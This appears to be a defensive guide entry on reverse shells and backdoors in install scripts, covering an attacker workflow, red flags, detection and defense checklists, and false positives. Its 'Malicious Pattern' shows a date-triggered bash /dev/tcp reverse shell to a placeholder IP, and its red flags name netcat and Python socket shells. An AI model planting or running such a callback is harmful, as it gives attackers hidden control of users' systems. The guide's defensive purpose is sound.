Reverse Shells & Backdoors

Threat Model

Attacker embeds callback shell or remote command channel to retain control after install.

Attacker Workflow

1. Hide shell callback in install/setup helper.
2. Trigger only in select environments to evade testing.
3. Establish persistence through profile/cron/path edits.
4. Use encrypted or disguised traffic to blend with normal telemetry.

Red Flags

• `bash -i >& /dev/tcp/...` or netcat callback commands.
• Python socket one-liners spawning shell.
• Unexpected profile modifications with remote binary downloads.
• Outbound connections to unknown fixed IPs.

Malicious Pattern

if [ "$D" = "2026-03-15" ]; then
  bash -c 'bash -i >& /dev/tcp/203.0.113.77/443 0>&1'
fi

Safe Counterexample

echo "install complete"
mkdir -p ~/.config/ticket-sync
cp assets/config.yaml ~/.config/ticket-sync/config.yaml

Detection Checklist

• Scan for shell invocation patterns and socket APIs.
• Inspect conditional branches for dormant backdoor logic.
• Flag hard-coded callback hosts/ports.
• Review post-install hooks for persistence writes.

Defense Checklist

• Block outbound shell behavior in setup runtime policy.
• Run egress monitoring for installer processes.
• Apply deny-list rules for known reverse-shell signatures.
• Require signed script attestation before activation.

Review Workflow

1. Trace every branch that executes subprocess/shell.
2. Validate all network destinations against allow-list.
3. Run static scans plus manual adversarial inspection.

False Positives

• Legitimate health checks may open sockets without spawning shells.
• Local loopback listeners for development can appear suspicious but be documented.